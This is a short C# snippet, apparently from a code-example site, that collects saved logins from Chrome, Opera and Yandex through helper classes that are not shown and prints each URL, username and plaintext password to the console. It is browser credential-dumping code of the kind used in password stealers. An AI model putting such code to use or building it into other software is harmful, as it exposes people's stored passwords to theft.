Ejemplo n.º 1
0
        private static void GetLoginDataFromBrowser(BrowserName browser)
        {
            try
            {
                List <LoginData> loginData = new List <LoginData>();

                switch (browser)
                {
                case BrowserName.Chrome:
                    loginData = Chrome.GetLoginData();
                    break;

                case BrowserName.Opera:
                    loginData = Opera.GetLoginData();
                    break;

                case BrowserName.Yandex:
                    loginData = Yandex.GetLoginData();
                    break;
                }

                foreach (var entry in loginData)
                {
                    Console.WriteLine($"Url={entry.Url};Username={entry.Username};Password={entry.Password}");
                }
            } catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }